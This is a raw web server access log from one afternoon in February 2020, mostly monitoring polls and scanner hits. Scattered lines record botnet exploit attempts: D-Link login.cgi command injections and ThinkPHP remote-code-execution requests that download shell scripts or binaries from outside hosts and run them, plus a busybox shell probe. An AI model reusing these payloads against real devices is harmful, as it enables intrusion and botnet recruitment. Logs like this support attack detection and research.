125.43.106.195 - - [20/Feb/2020:13:43:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [20/Feb/2020:13:44:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.152.159.33 - - [20/Feb/2020:13:45:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:13:45:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
152.136.157.215 - - [20/Feb/2020:13:46:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:13:46:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:47:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:48:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:49:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:50:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:51:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:52:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:53:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.5.177.66 - - [20/Feb/2020:13:53:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:13:54:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:55:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:56:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
84.236.160.211 - - [20/Feb/2020:13:56:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:13:57:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:58:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:59:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:00:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:01:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:02:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:03:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:04:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:05:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:06:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:07:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:08:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.102.149.66 - - [20/Feb/2020:14:08:38 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:14:09:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:10:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.32.140.239 - - [20/Feb/2020:14:11:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [20/Feb/2020:14:11:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.189.208.61 - - [20/Feb/2020:14:11:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
85.101.121.105 - - [20/Feb/2020:14:12:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:14:12:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:13:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:14:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:15:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:16:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:17:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:18:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [20/Feb/2020:14:19:24 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [20/Feb/2020:14:19:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:20:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.184.200.16 - - [20/Feb/2020:14:21:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:14:21:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:22:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:23:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:24:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:25:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.178.245.186 - - [20/Feb/2020:14:26:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [20/Feb/2020:14:26:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:27:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:28:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.49.236.222 - - [20/Feb/2020:14:29:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [20/Feb/2020:14:29:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:30:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:31:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [20/Feb/2020:14:31:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [20/Feb/2020:14:32:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:33:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.163.131.89 - - [20/Feb/2020:14:33:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [20/Feb/2020:14:34:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:35:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.114.149.10 - - [20/Feb/2020:14:36:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [20/Feb/2020:14:36:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:37:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:38:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:39:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:40:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.211.127.153 - - [20/Feb/2020:14:40:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:14:41:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:42:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.236.253.93 - - [20/Feb/2020:14:43:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
5.236.253.93 - - [20/Feb/2020:14:43:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:14:43:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:44:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:45:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [20/Feb/2020:14:46:26 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
160.113.11.46 - - [20/Feb/2020:14:46:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [20/Feb/2020:14:46:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [20/Feb/2020:14:47:17 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [20/Feb/2020:14:47:20 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [20/Feb/2020:14:47:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [20/Feb/2020:14:47:38 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [20/Feb/2020:14:48:03 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [20/Feb/2020:14:48:27 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [20/Feb/2020:14:48:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [20/Feb/2020:14:48:34 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [20/Feb/2020:14:49:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:50:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:51:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:52:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:53:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.233.16.7 - - [20/Feb/2020:14:54:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:14:54:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:55:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
152.136.157.215 - - [20/Feb/2020:14:56:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
196.52.43.79 - - [20/Feb/2020:14:56:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:14:56:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:57:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
152.136.157.215 - - [20/Feb/2020:14:57:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:14:58:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:14:59:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.52.43.69 - - [20/Feb/2020:15:00:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:15:00:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:01:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:02:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:03:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.231.49 - - [20/Feb/2020:15:03:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [20/Feb/2020:15:04:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:05:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.231.49 - - [20/Feb/2020:15:06:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [20/Feb/2020:15:06:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [20/Feb/2020:15:07:27 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [20/Feb/2020:15:07:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [20/Feb/2020:15:07:34 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
192.241.231.49 - - [20/Feb/2020:15:07:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
41.62.167.128 - - [20/Feb/2020:15:07:51 +0100] "GET /shell?busybox HTTP/1.1" 400 329 "-" "Mozilla/5.0"
192.241.231.49 - - [20/Feb/2020:15:07:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [20/Feb/2020:15:08:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:09:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.231.49 - - [20/Feb/2020:15:10:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.231.49 - - [20/Feb/2020:15:10:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.231.49 - - [20/Feb/2020:15:10:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [20/Feb/2020:15:10:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:11:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:12:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:13:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
164.52.24.163 - - [20/Feb/2020:15:13:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [20/Feb/2020:15:14:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
152.136.157.215 - - [20/Feb/2020:15:14:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
186.4.182.113 - - [20/Feb/2020:15:15:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
77.159.83.230 - - [20/Feb/2020:15:15:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:15:15:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.165.149.116 - - [20/Feb/2020:15:15:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:15:16:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:17:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:18:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.85.87.181 - - [20/Feb/2020:15:19:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:15:19:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:20:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
70.24.240.169 - - [20/Feb/2020:15:21:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:15:21:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:22:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:23:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:24:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:25:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
